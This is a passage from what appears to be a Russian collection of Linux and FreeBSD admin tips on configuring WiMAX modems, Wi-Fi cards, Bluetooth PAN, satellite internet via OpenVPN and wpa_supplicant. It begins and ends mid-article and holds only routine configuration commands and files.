    Если не помните какие у вас были интерфейсы, выгрузите модуль и сравните вывод
    
       rmmod drxvi314
       ifconfig -a
    
    Запомните имя интерфейса, он понадобиться в файле конфигурации.
    
    
    Конфигурация
    
    Если модуль ядра загружается и работает, его можно вставить в "автозагрузку" в
    конец файла /etc/rc.d/rc.local, если такого нет, создайте. Понадобиться
    сертификат из CCM, если не хотите выковыривать, можно скачать но с другим именем
    здесь. Благодаря этой
    ссылке и были подобраны правильные параметры для конфига. В CCM надо найти файл
    ca1.cer и конвертировать его командой
    
       openssl x509 -inform DER -in ca1.cer -outform PEM -out ca1.pem
    
    положите его куда хотите, например чтоб директория зря не пропадала в 
    /etc/Sprint4G/ca1.pem
    
    Туда же положим и конфиг /etc/Sprint4G/wimaxd.conf
    
       # Частотный план, не уверен что стоит писать сюда лишнее, 
       # иначе модем в автоматическом режиме может долбиться к другому провайдеру.
       BandwidthMHz                    10
       CenterFrequencyMHz              2540 2550 2560
    
       AuthEnabled                     Yes
       EAPMethod                       0
       UserIdentity                    'ваш_логин@wimax.comstar-uts.ru'
       UserPassword                    'ваш_пароль'
    
       ValidateServerCert              Yes
       CACertPath                      '/etc/Sprint4G/'
       CACertFileName                  '/etc/Sprint4G/ca1.pem'
    
       TTLSAnonymousIdentity           'Anonymous@wimax.comstar-uts.ru'
       TLSDevicePrivateKeyPassword     ''
       PrivateKeyPasswordFormat        'Ascii'
    
       AuthenticationTimeoutSec          10
       InvertMSKByteOrder                No
       AlwaysIncludeTLSLength            No
    
       EAPFragmentMaxLength              1398
       EAPPollingLoopIntervalMs          50
    
       TLSDevicePrivateKeyPassword     ''
       InnerNAIChange                  No
    
       NetworkSearchTimeoutSec         60
       LPSearchInShutDownEnabled       No
       NetworkEntryTimeoutSec          10
       NEToHighestCINRBaseStation      No
    
       BeceemEngineFileName            '/usr/lib/libengine_beceem.so'
    
       AuthEthernetToRADIUS              No
    
       # Автоподключение
       AutoReConnectEnabled              Yes
       AutoReDisconnectEnabled           No
       SkipNetSearch                     No
       AutoReConnectIntervalSec          1
       AutoReDisconnectIntervalSec       20
       LinkStatusRequestPeriodSec        2
    
       # Скрипт выполняется после установки соединения
       IPRefreshCommand                '/etc/Sprint4G/wimaxup.sh'
       # Можно заменить на такой вариант, естественно указав ваш интерфейс
       #IPRefreshCommand               'dhclient eth0'
       # Разрешает выполнять скрипт
       NetEntryIPRefreshEnabled        Yes
       # Вроде должен убивать dhclient, у меня не работало
       TerminateDHCPClient             No
    
       FirmwareFileName                  '/lib/firmware/macxvi350.bin'
       ConfigFileName                    '/lib/firmware/macxvi.cfg'
    
       # Управление логами
       #CSCMDebugLogLevel              4
       CSCMDebugLogLevel              1
       #AuthLogLevel                   5
       AuthLogLevel                   1
       AuthLogFileName                '/tmp/CM_Auth.log'
       AuthLogFileMaxSizeMB            1
       EngineLoggingEnabled            Yes
       EngineLogFileMaxSizeMB          2
       EngineLogFileName               '/tmp/CM_Engine.log'
    
    Немного автоматизации не помешает, не забудьте заменить eth0 на свой интерфейс,
    который определили при тестировании модуля.
    
    /etc/Sprint4G/wimaxup.sh
    
       #!/bin/bash
       varif=eth0
       res=`ifconfig $varif | grep -c "UP"`
       if [ ! "$res" == "0" ]; then
          ifdown $varif
       fi
       ifup $varif
    
    Проверка и использование
    
    Проверку лучше проводить в режиме полной отладки, для выявления ошибок
    
       CSCMDebugLogLevel 4
       AuthLogLevel 5
    
    Необходимо запустить демон в отладочном режиме и его клиент в разных консолях
    Демон (Сервер)
    
       wimaxd -D -c /etc/Sprint4G/wimaxd.conf
    
    консоль клиента, через неё будем управлять демоном (Сервером).
    
       wimaxc -i
    
    Набор возможных команд консоли можно узнать запросом help.
    В текущем конфиге, если есть сигнал, сразу начнётся попытка подключения, этого
    нам не надо, отредактируем секцию "Автоподключение". Так как автоподключение
    отключено, подключаться надо в ручном режиме:
    
    Сначала ищем базовые станции
    
       > search
    
    Если найдены несколько, подключаемся с наилучшим сигналом, или к единственной, например
    
       > connect 0
    
    Для просмотра статуса соединения, нужно выполнять команды status, linkstats.
    Так команда status при установленном соединении содержит строчку "LINKUP ACHIEVED".
    
    IP адрес можно менять перезапрашивая, не разрывая соединение, и установка
    самого соединения не значит автоматического получения адреса, настройки
    маршрутов и др., этим должен заниматься dhclient.
    
    Для корректного выхода и выгрузки сервера надо сначала выключить модуль
    
       > shutdown
    
    Затем остановить и выгрузить сервер (демон)
    
       > server stop
    
    Если выгрузите сервер и не остановите работу модуля командой shutdown,
    соединение не будет разорвано и продолжит работать само по себе потребляя трафик.
    
    Для нормальной работы, отключим отладку в логах
    
       CSCMDebugLogLevel 1
       AuthLogLevel 1
    
    и запустим сервер в качестве демона
    
       wimaxd -c /etc/Sprint4G/wimaxd.conf
    
    Нормальных средств управления нет, хотя пишут что в сети гуляют какие-то
    скрипты. Но есть исходники клиента и сервера, при желании можно разобраться.
    Так сервер открывает порт 5200, если туда подключиться telnet-ом, можно увидеть
    текстовое приглашение, правда текстовые команды он от вас принимать не будет.
    
    Безопасность
    
    В отладочных логах сохраняются логин и пароль, поэтому не забывайте их удалять,
    а после экспериментов отключите отладочные логи. Не забывайте также что логин и
    пароль хранятся в открытом виде в файле конфигурации.
    
    Нюансы, Недостатки, Ошибки
    
    После обновления ядра, понадобиться пересобирать модуль.
    Модуль ядра иногда работает не стабильно, например на Fedora 14 приходиться его
    выгружать, вставлять устройство загружать или в ином порядке плясать с бубном,
    пару раз система зависала, хотя может проблема с железом. На версии Fedora 15,
    работает без замечаний.
    Если индикатор на модеме гаснет во время поиска сети, либо во время
    подключения, скорее всего ему не хватает питания, для исправления ситуации
    пришлось использовать USB-HUB с отдельным источником.
    Сам модем плохо ловит сеть в помещении, хотя раньше работал, видимо работа сети
    стала хуже, работает только у окна.
    
    Сервер (демон) иногда при завершении работы выдаёт ошибку и/или зависает,
    приходиться его "убивать".
    
    Иногда если не выгружен dhclient который запускал сервер (демон) для его
    интерфейса, то сервер (Beceem Connection Manager Server) может повторно не
    запуститься, ругаясь на занятый сокет, приходиться dhclient "убивать" вручную.
    
    После остановки сервера, остаётся "активным" интерфейс, его приходиться вручную
    деактивировать ifconfig eth0 down, хотя можно этого и не делать, если не мешает.
    
    Нет возможности или не нашёл, запуска скрипта при отключении, для деактивации интерфейса.
    
     
    ----* Настройка Intel Wireless WiFi Link 4965AGN во FreeBSD 8.0   Автор: Селин Павел  [комментарии]
     
    Имеется ноутбук Toshiba Satellite A200 с беспроводной картой на чипсете Intel
    4965AGN. Установлена ОС FreeBSD 8-STABLE и имеется огромное желание завести WiFi.
    
    Определяем наличие карты:
    
       pciconf -lv
    
    видим none@pci......
    и подпись "Intel Wireless WiFi Link 4965AGN......."
    
    Определяем драйвер для используемого Wifi путем поиска в системных руководствах:
    
       man -k 4965AGN
    
       iwn(4)
    
    Читаем руководство по найденному драйверу:
    
       man iwn
    
    Видим что данный софт, как раз таки обслуживает устройство 4965AGN, и для его
    включения необходимо либо включить в loader.conf строку if_iwn_load="YES", либо
    пересобрать ядро с
    
       device iwn
       device iwnfw
    
    Поддержка необходимых для работы wifi-карты устройств wlan, pci и firmware уже
    включена в ядро GENERIC.
    
    Пересобираем ядро или правим /boot/loader.conf, перезагружаем систему и видим
    появление нового устройства iwn0.
    
    Находим в man rc.conf в разделе ifconfig строчку:
    
       "One or more wlan(4) device must be created for each wireless device as of FreeBSD 8.0"
    
    т.е. использовать iwn0 на прямую в ifconfig нельзя, а нужно создать отдельные
    wifi-интерфейсы (ifconfig wlan0 create wlandev iwn0). В /etc/rc.conf добавим:
    
        vaps_iwn0="wlan0" # если нужно использовать VAP (virtual access point)
        wlans_iwn0="wlan0"
    
    и после перезагрузки видим полноценно функционирующий интерфейс wlan0:
    
       ifconfig wlan0 up scan
    
    Для настройки соединения правим /etc/wpa_supplicant.conf (man wpa_supplicant.conf) 
    
       network={
         ssid="идентификатор сети"
         psk="ключ доступа"
       }
    
    и запускаем 
    
       /etc/rc.d/wpa_supplicant start wlan0
       dhclient wlan0
    
    Если все работает, добавляем в /etc/rc.conf:
    
       ifconfig_wlan0="WPA DHCP"
    
     
    ----* Изменение порядка настройки беспроводного соединения во FreeBSD 8   Автор: mvalery  [комментарии]
     
    В описании (http://www.freebsd.org/releases/8.0R/relnotes-detailed.html) релиза
    FreeBSD 8.0 сообщается об изменениях в организации поддержки беспроводных
    сетей. Дословно написано следующее: "Подсистема поддержки беспроводных сетей
    (net80211) в настоящий момент использует псевдо-интерфейс именуемый wlanN
    вместо использования напрямую имени драйвера - такого как em0."
    
    Это серьезное изменение, которое привело к тому, что у всех перешедших на
    FreeBSD 8.0, беспроводное соединение потеряло работоспособность. На эту
    проблему еще год назад указывалось в  статье.
    
    Беспроводное соединение восстанавливается путем внесения минимальных изменений
    в конфигурационный файл /etc/rc.conf:
    
    Старый вариант (FreeBSD 7.2 и более ранние версии):
    
       ifconfig_ral0="DHCP ssid office1"
    
    Новый вариант (FreeBSD 8.0):
    
       wlans_ral0="wlan0"
       ifconfig_wlan0="DHCP ssid office1"
    
    То есть, если раньше все параметры моей WiFi карты Edimax EW-7128g были
    "привязаны" непосредственно к драйверу устройства ral0, то сейчас на базе
    драйвера устройства ral0 создается псевдо-интерфейс wlan0. В дальнейшем
    конфигурируется псевдо-интерфейс wlan0.
    
     
    ----* Решение проблем с WiFi в Ubuntu 9.10 (доп. ссылка 1)   Автор: Князь  [комментарии]
     
    После обновления Ubuntu на ноутбуке (Dell Vostro A860) до версии 9.10 перестал
    работать Wifi при абсолютной тишине в логах. Модуль ath5k грузится без ошибки и
    правильно распознает чип от Atheros. А Network Manager скупо пишет "Устройство
    не готово".
    
    После продолжительного гугления выяснилось, что все дело в некорректной работе
    функциональной кнопки (Fn + F11), отвечающей за включение/отключение Wifi и Bluetooth:
    
       $ tail /sys/class/rfkill/*/{state,name,type,persistent}
       ==> /sys/class/rfkill/rfkill1/state <==
       0
       ==> /sys/class/rfkill/rfkill2/state <==
       0
       ==> /sys/class/rfkill/rfkill3/state <==
       0
       ==> /sys/class/rfkill/rfkill1/name <==
       phy0
       ==> /sys/class/rfkill/rfkill2/name <==
       dell-wifi
       ==> /sys/class/rfkill/rfkill3/name <==
       dell-bluetooth
       ==> /sys/class/rfkill/rfkill1/type <==
       wlan
       ==> /sys/class/rfkill/rfkill2/type <==
       wlan
       ==> /sys/class/rfkill/rfkill3/type <==
       bluetooth
       ==> /sys/class/rfkill/rfkill1/persistent <==
       0
       ==> /sys/class/rfkill/rfkill2/persistent <==
       0
       ==> /sys/class/rfkill/rfkill3/persistent <==
       0
    
    Как видим, rfkill1 и rfkill2 имеют тип wlan. Состояние (state) у обоих равно 0,
    означающему SOFT LOCK. Кроме состояния 0 могут быть 1 и 2, UNLOCK и HARD LOCK соответственно.
    
    Вся проблема состоит в том, что при нажатии на упомянутую ранее функциональную
    кнопку состояние переключается только между значениями SOFT LOCK и HARD LOCK,
    минуя UNLOCK. Из-за этого блокируется переход интерфейса Wifi в активный режим,
    наглядно демонстрируемый командой
    
       $ sudo ifconfig wlan0 up
       SIOCSIFFLAGS: Unknown error 132
    
    Решение состоит в принудительном переводе в состояние UNLOCK.
    Для этого пишем простой скрипт
    
       #!/bin/sh
       for i in /sys/class/rfkill/rfkill*/type;
       do
          type="`cat $i`"
          if [ "$type" = "wlan" ];
          then
             n="`echo $i | sed -r 's%/type$%%'`";
             echo 1 > ${n}/state;
          fi;
       done;
    
    Сохраняем скрипт в файл "/usr/local/sbin/unlock-wlan" и делаем его исполняемым
    
       $ sudo chmod +x /usr/local/sbin/unlock-wlan
    
    После ручного запуска скрипта надо перезапускать Network Manager - иначе
    он ничего не заметит.
    Теперь настраиваем Upstart для исполнения нашего скрипта при загрузке системы,
    перед стартом Network Manager. Для этого создаем файл "/etc/init/unlock-wlan.conf"
    
       # unlock-wlan - unlock wireless device
       #
       description "unlock wireless device"
       
       # Скрипт запускается перед настройкой сетевых интерфейсов
       start on starting networking
       
       task
      
       exec /usr/local/sbin/unlock-wlan
    
     
    ----* Настройка WiMAX соединения в Linux, с картой Intel PRO WiFi/WiMax 5150(5350)   Автор: pavlinux  [комментарии]
     
    По причине не любви к торчащим изо всех щелей USB-свисткам,
    была выбрана PCI карта Intel 5150, или аналогичная ей, - 5350,
    полностью схожи, кроме количества подключаемых антен, в 5350
    из 3 штуки, заявленая скорость в 450Мб/сек., и пр. вкусности.
    
    1. Настройка ядра.
    
    Начиная с версии 2.6.26, драйвер поддерживающий сию карту находится в основной ветке ядра.
    
    а. Поддержка стека WiMax:
    
         Networking support -->
    		<M> WiMAX Wireless Broadband support
    
    б. Для подержки карты на PCI шине, необходимо включить следующие:
    
         Device Drivers
    		<M> MMC/SD/SDIO card support  --->
    
    Внтури раздела MMC ничего включать ненадо, кроме поддержки отладочной
    информации, если конечно Вам нужно.
    
    с. Выбор драйвера - PCI (он же SDIO) и/или USB:
    
        Device Drivers -->
    		[*] Network device support  --->
    			WiMAX Wireless Broadband devices  --->
    				<M> Intel Wireless WiMAX Connection 2400 over USB (including 5x50)
    				<M> Intel Wireless WiMAX Connection 2400 over SDIO
    				(8) WiMAX i2400m debug level
    
    
    Для более раних версий ядер, но не ранее 2.6.23 драйвера находятся на сайте http://linuxwimax.org/Download
    
    Процесс компиляции и установки описан во включённых README.
    
       # make && make modules_install && make install && update-initramfs -u;
    
    2. Установка Firmware.
    
    Необходимо скопировать последнюю версию firmware с вышеуказаного сайта.
    Поместить в каталог с остальными firmware, в основных дистрибутивах это каталог /lib/firmware/
    Далее нужно переименовать скаченный файл в соответстующий типу вашего устройства:
    
       i2400-fw-usb-1.4.sbcf - для USB устройства или
       i2400-fw-sdio-1.4.sbcf - для PCIe карты.
    
    Проверить какую именно firmware требует установленый драйве, можно командой:
    
       # modinfo i2400m-usb || modinfo i2400m-sdio
    
    3. Установка Порльзовательских приложений.
    
    3.1 Intel WiMAX Tools.
    
        # cd /usr/src
        # git clone git://git.kernel.org/pub/scm/linux/kernel/git/inaky/wimax-tools.git
        # cd wimax-tools/
        # sh bootstrap
        # ./configure --build i386 \
                      --with-i2400m=/usr/src/linux \
                      --sysconfdir=/etc \
                      --localstatedir=/var;
    
        # make install;
    
    3.2 Intel WiMAX Network Service.
    
       # wget "http://linuxwimax.org/Download?action=AttachFile&do=get&target=WiMAX-Network-Service-1.4.0.tar.bz2"
       # tar -xf WiMAX-Network-Service-1.4.0.tar.bz2
       # cd  WiMAX-Network-Service-1.4.0
       # sh bootstrap
       # ./configure --build i386 \
                     --with-i2400m=/usr/src/linux \
                     --sysconfdir=/etc;
       # make install
    
    3.3 WiMAX Binary Supplicant.
    
       # wget "http://linuxwimax.org/Download?action=AttachFile&do=get&target=Intel-WiMAX-Binary-Supplicant-1.4.0.tar.bz2"
       # tar -xf Intel-WiMAX-Binary-Supplicant-1.4.0
       # cd Intel-WiMAX-Binary-Supplicant-1.4.0
       # ./install_supplicant.sh install
    
    
    4. Запуск WiMax демона.
    
       # rm /var/run/wimaxd.pid
       # /etc/init.d/wimax start
    
    5. Соединение.
    
       # wimaxcu status
       # wimaxcu ron
       # wimaxcu scan
       # wimaxcu connect network 4
       # dhclient wmx0
       # wimaxcu status link
       # wimaxcu status connect
    
    
    6. Подробное описание man wimaxcu.
    
    7. Дополнительная информация.
    
    * http://linuxwimax.org/FAQ
    * http://ru.wikipedia.org/wiki/WiMAX
    * http://www.intel.com/network/connectivity/products/wireless/wimax/wifi/index.htm
    * http://www.yotatester.ru/obzor-podklyuchenie-i-test-skorosti-intel-wifiwimax-51505350-modemov/
    * http://lists.linuxwimax.org/pipermail/wimax/
    
     
    ----* Установка PAN-соединения через bluetooth во FreeBSD 7.2   Автор: shurik  [комментарии]
     
    Рассказ об организации выхода ноутбутка  в сеть через комуникатор Toshiba
    Portege G810 с Windows Mobile 6.1 на борту,
    не позволяющий использовать его в качестве gprs-модема, но позволяющий
    организовать соединение с ПК
    через bluetooth PAN. 
    
    В состав FreeBSD 7.2 был включен демон btpand с реализацией поддержки профилей
    Bluetooth Network Access Point (NAP),
    Group Ad-hoc Network (GN) и Personal Area Network User (PANU). Связывание комуникатора с 
    ноутбуком через bluetooth я описывать не буду - это хорошо изложено в хендбуке 
    (http://www.freebsd.org/doc/ru/books/handbook/network-bluetooth.html). 
    Для использования btpand нам необходимо знать BD_ADDR не только коммуникатора, но и локального ПК. 
    
    Узнать его можно так:
    
       # hccontrol Read_BD_ADDR
       BD_ADDR: 00:1a:6b:df:1b:c9
    
    Для удобства добавим BD_ADDR комуниактора и ПК в /etc/bluetooth/hosts:
    
       00:1a:6b:df:1b:c9 hp6710s
       00:1b:24:a8:9c:76 g810
    
    Далее все как описано в man 8 btpand:
    
       # ifconfig tap0 create
    
       # btpand -a g810 -d hp6710s -s NAP -i tap0
    
       btpand[1986]: Searching for NAP service at 00:1b:24:a8:9c:76
       btpand[1986]: Found PSM 15 for service NAP
       btpand[1986]: Opening connection to service 0x1116 at 00:1b:24:a8:9c:76
       btpand[1986]: channel_open: (fd#4)
       btpand[1986]: Using interface tap0 with addr 00:00:6b:df:1b:c9
       btpand[1986]: channel_open: (fd#5)
    
       # dhclient tap0
    
       DHCPDISCOVER on tap0 to 255.255.255.255 port 67 interval 5
       DHCPOFFER from 192.168.0.1
       DHCPREQUEST on tap0 to 255.255.255.255 port 67
       DHCPACK from 192.168.0.1
       bound to 192.168.0.238 -- renewal in 129600 seconds.
    
    Все можем работать:)
    
     
    ----* Настройка спутникового интернета через Skystar3 в Ubuntu Linux (доп. ссылка 1)   Автор: Князь  [комментарии]
     
    Описывается настройка спутникового интернета провайдера "Радуга Интернет" через OpenVPN.
    
    После установки спутниковой карты в свободный слот PCI и загрузки ОС создаем
    файл "/etc/modprobe.d/dvb_core.modprobe"
    
       options dvb_core dvb_shutdown_timeout=915360000
    
    Этим мы препятствуем "засыпанию" карты. В новых ядрах, в отличие от старых, 
    установка параметра "dvb_shutdown_timeout" в 0 не помогает и потому надо выставлять 
    заведомо большое значение таймаута (в секундах).
    
    Перезагружаем компьютер.
    
    Устанавливаем требуемые утилиты
    
       $ sudo aptitude install dvb-utils
    
    Создаем файл /etc/channels.conf
    
       Raduga:11671:v:0:18200:0:0:0
    
    Здесь:
    Raduga - название канала. Может быть любым.
    11671 - частота
    v - поляризация. Может быть H - горизонтальная и V - вертикальная
    0 - FEC: 0 - Авто, 3 - 3/4,...
    18200 - Величина потока (Symbol rate)
    0 - Видео PID
    0 - Аудио PID
    0 - Program id
    
    Пробуем залочиться на сигнал
    
       $ szap -c /etc/channels.conf -x -n 1
       
       reading channels from file '/etc/channels.conf'
       zapping to 1 'Raduga':
       sat 0, frequency = 11671 MHz V, symbolrate 18200000, vpid = 0, apid = 0
       using '/dev/dvb/adapter0/frontend0' and '/dev/dvb/adapter0/demux0'
       status 07 | signal 9797 | snr 3270 | ber 0000ff00 | unc 00000000 |
       status 1f | signal 9696 | snr d344 | ber 00001800 | unc 00000000 | FE_HAS_LOCK
    
    Ключевые значения: "status 1f" и "FE_HAS_LOCK". Остальные поля указывают уровень сигнала, 
    количество ошибок и т.п. Когда устойчивый сигнал будет получен, szap завершит свою работу.
    
    Теперь отключим rp_filter, фильтрующий пакеты которые не могут уйти через тот
    же интерфейс что и пришли.
    В нашем случае пакет приходит через один интерфейс, а уходит через другой 
    
       $ sudo sh -c 'echo 0 > /proc/sys/net/ipv4/conf/dvb0_0/rp_filter'
    
    Создаем сетевой интерфейс спутниковой карты
    
       $ sudo dvbnet -p 1234
    
    где "1234" - ваш PID. После выполнения команды должен появиться сетевой
    интерфейс "dvb0_0" (неактивный).
    
    Настраиваем интерфейс
    
       $ sudo ifconfig dvb0_0 hw ether YOUR-MAC-ADDRESS YOUR-IP-ADDRESS netmask 255.255.255.0 up
    
    где YOUR-MAC-ADDRESS и YOUR-IP-ADDRESS соответственно MAC-адрес и IP-адрес вашей подписки.
    
    Смотрим на наличие входящего трафика на интерфейсе dvb0_0
    
       $ sudo dvbtraffic
    
       -PID--FREQ-----BANDWIDTH-BANDWIDTH-
       0000    10 p/s     1 kb/s    15 kbit
       0010     0 p/s     0 kb/s     1 kbit
       0011     0 p/s     0 kb/s     1 kbit
       0014     0 p/s     0 kb/s     1 kbit
       0032    60 p/s    11 kb/s    90 kbit
       003c    10 p/s     1 kb/s    15 kbit
       003d    31 p/s     5 kb/s    47 kbit
       0064    13 p/s     2 kb/s    20 kbit
    
    
    Если программа ничего не выводит, то проблемы могут быть в неправильных
    параметрах или "заснула" спутниковая карта.
    
    Правим конфигурационный файл /etc/network/interfaces и добавляем
    
       auto dvb0_0
       iface dvb0_0 inet manual
       pre-up sh -c '/usr/bin/dvbnet -a 0 -p 1234 > /dev/null'
       up ifconfig $IFACE hw ether YOUR-MAC-ADDRESS YOUR-IP-ADDRESS netmask 255.255.255.0 up
       up sh -c 'echo 0 > /proc/sys/net/ipv4/conf/dvb0_0/rp_filter'
       up sh -c '/usr/bin/szap -c /etc/channels.conf -n 1 -x'
       down ifconfig $IFACE down
       down /usr/bin/dvbnet -d 0
    
    
    Теперь приступим к установке и настройке openvpn
    
    Установим openvpn
    
       $ sudo aptitude install openvpn
    
    Скачаем из личного кабинета архив с ключами для openvpn. Из архива распакуем файлы 
    ca.crt, client.ovpn, i0xxxxxx.csr, i0xxxxxx.crt, i0xxxxxx.key.
    
    Скопируем все эти файлы в директорию /etc/openvpn
    
    Сменим права доступа к файлу i0xxxxxx.key
    
       $ sudo chmod 0400 /etc/openvpn/i0xxxxxx.key
    
    
    Переименуем файл client.ovpn в raduga.conf и отредактируем его. 
    В итоге должно получиться примерно такое содержание
    
       client
       dev tap
       # dev-node Raduga
       proto udp
       
       remote 80.81.208.66 55032
       
       resolv-retry infinite
       nobind
       persist-key
       persist-tun
       
       ca /etc/openvpn/ca.crt
       cert /etc/openvpn/i0xxxxxx.crt
       key /etc/openvpn/i0xxxxxx.key
       
       ns-cert-type server
       verb 3
       comp-lzo
       comp-noadapt
       
       auth-user-pass /etc/openvpn/password.txt
       route-up /etc/openvpn/tap0-route.sh
    
    Создаем файл /etc/openvpn/password.txt с именем и паролем подписки
    
       user
       password
    
    и делаем его доступным на чтение только владельцу
    
       $ sudo chmod 0400 /etc/openvpn/password.txt
    
    Создаем скрипт /etc/openvpn/tap0-route.sh, выполняемый после поднятия роутов.
    
       netstat -rn | \
       sed '1,2d' | \
       awk '{ \
         if ($1 == "0.0.0.0" && $2 == "10.251.32.1" && $3 == "0.0.0.0" && $8 != "tap0") { \
         EX=sprintf("/sbin/route del -net 0.0.0.0/0 gw %s dev %s && /sbin/route add -net 0.0.0.0/0 gw %s dev tap0\n", \
         $2, $8, $2); system(EX); } }'
    
    В моем случае openvpn дефолтовый маршрут постоянно вешал на интерфейс dvb0_0 
    и пришлось прибегнуть к принудительной привязке скриптом роута к tap0. Делаем скрипт исполняемым
    
       $ sudo chmod +x /etc/openvpn/tap0-route.sh
    
    Редактируем файл /etc/default/openvpn и добавляем строку
    
       AUTOSTART="raduga"
    
    Пробуем соединиться к провайдеру из консоли
    
       $ sudo openvpn /etc/openvpn/raduga.conf
    
    Если успешно соединились с сервером, закрываем соединение нажатием "ctrl+c".
    
    Перезапускаем даемон
    
       $ sudo /etc/init.d/openvpn restart
    
     
    ----* Настройка беспроводного соединения в Linux с использованием LEAP, WPA или WPA2 (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Примеры настройки LEAP, WPA или WPA2 в Linux при помощи wpa_supplicant 
    (http://hostap.epitest.fi/wpa_supplicant/) В Debian пакет wpasupplicant, 
    также имеются пакеты с GUI интерфейсом - kwlan и wpagui.
    
    WPA 
    ---
    
    Создаем файл конфигурации, например /etc/wpa_supplicant.conf
    
       ctrl_interface=/var/run/wpa_supplicant
       ctrl_interface_group=0
       eapol_version=1
       # ap_scan=2 was the one for me you may try 0 or 1 indstead of 2
       ap_scan=2
       fast_reauth=1
       network={
            ssid="SSID сети"
            proto=WPA
            key_mgmt=WPA-PSK
            pairwise=TKIP
            group=TKIP
            psk="пароль доступа"
       }
    
    
    WPA2-Personal
    -------------
    
    Файл конфигурации:
    
       ctrl_interface=/var/run/wpa_supplicant
       ctrl_interface_group=0
       ap_scan=1
       network={
            ssid="SSID сети"
            proto=RSN
            key_mgmt=WPA-PSK
            pairwise=CCMP TKIP
            group=CCMP TKIP
            psk="пароль доступа"
       }
    
    
    LEAP
    ----
    
    Файл конфигурации:
    
       ctrl_interface=/var/run/wpa_supplicant
       ctrl_interface_group=0
       eapol_version=1
       ap_scan=1
       fast_reauth=1
    
       network={
         scan_ssid=1
         mode=0
         ssid="SSID сети"
         proto=WPA
         key_mgmt=WPA-EAP
         pairwise=TKIP
         group=TKIP
         eap=LEAP
         priority=2
         auth_alg=LEAP
         eapol_flags=0
         identity="идентификатор пользователя"
         password="Пароль достутпа"
    }
    
    "SSID сети", "идентификатор пользователя" и "пароль достутпа" заменяем на
    полученные от администратора сети данными.
    
    Далее поднимаем wifi интерфейс (Intel Pro Wireless 3945ABG/BG):
       ifconfig wlan0 down
       iwconfig wlan0 essid "имя сети"
       ifconfig wlan0 up
    
    Запускаем wpa_supplicant:
       wpa_supplicant -iwlan0 -c /etc/wpa_supplicant.conf -Dwext -dd
    
    Для драйвера ipw2200, интерфейс будет eth1:
      wpa_supplicant -d -c /etc/wpa_supplicant.conf -ieth1 -Dwext -dd
    Для madwifi - ath0:
      wpa_supplicant -d -c /etc/wpa_supplicant.conf -iath0 -Dmadwifi -dd
    
    
    Посмотреть состояние соедиения можно через wpa_cli или GUI интерфейс wpa_gui. 
    
    Для получения IP адреса по DHCP нужно запустить DHCP-клиент:
       dhcpcd wlan0 
    
    Для настройки соединение двух машин в Ad-Hoc режиме можно использовать примерно такую комбинацию:
    
       modprobe ipw3945
       iwconfig eth1 mode Ad-Hoc
       iwconfig eth1 essid "testnet"
       iwconfig eth1 key restricted
       iwconfig eth1 channel 1
       ifconfig eth1 192.168.1.1 up
       iwconfig eth1 key s:12345
    
    где, testnet имя сети, а 12345 пароль.
    
     
    ----* Настройка работы беспроводной карты на базе Broadcom BCM43xx в Ubuntu (доп. ссылка 1)   Автор: E@zyVG  [комментарии]
     
    После установки Ubuntu 8.04 по умолчанию не работают беспроводные карты на базе
    чипов Broadcom BCM43xx из-за отсутствия firmware.
    Начиная с Linux ядра 2.6.24 работу данных карт в Linux обеспечивает драйвер b43, 
    в более ранних версиях использовался драйвер bcm43xx.
    
    Для включения работы карты нужно установить пакет b43-fwcutter и получить firmware:
    
       sudo apt-get install b43-fwcutter
    
    и активировать на ноутбуке адаптер. 
    Также можно воспользоваться меню  Menu / System / Administration / Hardware Drivers.
    
    Драйвером b43 поддерживаются чипы:
    
        * bcm4303 (802.11b)
        * bcm4306
        * bcm4309 (только 2.4GHz)
        * bcm4311 rev 1 / bcm4312
        * bcm4311 rev 2 / bcm4312 (с 2.6.24 ядром работает через доп. патчи)
        * bcm4318
    
    В настоящее время нет поддержки: 
        * 802.11a для серий 4309 и 4312;
        * BCM 4328/4329
        * не реализованы возможности представленные в проекте стандарта 802.11n;
    
    Сайт разработчиков драйвера: http://wireless.kernel.org/en/users/Drivers/b43
    
     
    ----* Обеспечение работы беспроводной карты в Ubuntu 7.10 через ndiswrappe (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    1. Устанавливаем ndiswrapper:
    
        sudo apt-get install ndiswrapper-common ndiswrapper-utils-1.9
    
    2. Распаковываем куда нибудь Windows драйверы и пишем из под пользователя root такие команды:
    
        ndiswrapper -i bcmwl5.inf
        modprobe ndiswrapper
        echo "blacklist bcm43xx" >> /etc/modprobe.d/blacklist
        echo "ndiswrapper" >> /etc/modules
    
    3. Перегружаемся и проверяем. Все должно работать.
    
     
    ----* Настройка Linux как Wifi шлюза для КПК (доп. ссылка 1)   Автор: Михаил Конник  [комментарии]
     
    Linux шлюз:
    
    Нужно создать простую одноранговую ad-hoc сеть и дать статический IP-адрес
    сетевому беспроводному интерфейсу.
    После этого делаем NAT и всё работает. Для беспроводного интерфейса eth3 и 
    сети с идентификатором virens команда выглядит так (от рута):
    
       # iwconfig eth3 mode Ad-Hoc channel 1 essid virens
    
    В /etc/network/interfaces пишем что-то вроде:
    
       auto eth3
       iface eth3 inet static
       address 10.106.146.1
       netmask 255.255.255.0
       wireless-mode ad-hoc
       wireless-channel 1
       wireless-rate auto
       wireless-essid virens
    
    Теперь делаем NAT:
    
       # echo 1 > /proc/sys/net/ipv4/ip_forward
       # iptables -t nat -A POSTROUTING --out-interface eth1 -j MASQUERADE
    
    При этом eth1 это интерфейс, который подключён к Интернету. 
    Соединение не шифруется.
    
    
    КПК:
    
    Необходимо задать essid - такой же, какой дали в iwconfig. 
    Шифрование отсутствует, тип сети - одноранговая ad-hoc. 
    Снимаем галку "Получать IP-адрес автоматически" и вводим адреса:
    
       IP-адрес: 10.106.146.2
       Маска подсети: 255.255.255.0
       Маршрутизатор: 10.106.146.1
    
     
    ----* Подключение к беспроводной сети под Linux (доп. ссылка 1)   [комментарии]
     
    0. Убеждаемся, что наш беспроводной адаптер в списке поддерживаемых в Linux
    (http://www.linux-wlan.org/docs/wlan_adapters.html.gz)
    на сайте http://www.linux-wlan.org/
    
    1. Подгружаем модуль ядра: insmod prism2_usb
    
    2. Активируем wlan0
       wlanctl-ng wlan0 lnxreq_ifstate ifstate=enable
    
    3. Устанавливаем SSID для используемой сети
       wlanctl-ng wlan0 lnxreq_autojoin ssid=stayoutofmynet authtype=opensystem
    
    4. Выставляем атрибуты WEP
       wlanctl-ng wlan0 lnxreq_hostwep encrypt=true decrypt=true
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11PrivacyInvoked=true
    
    5. Используем WEP ключ
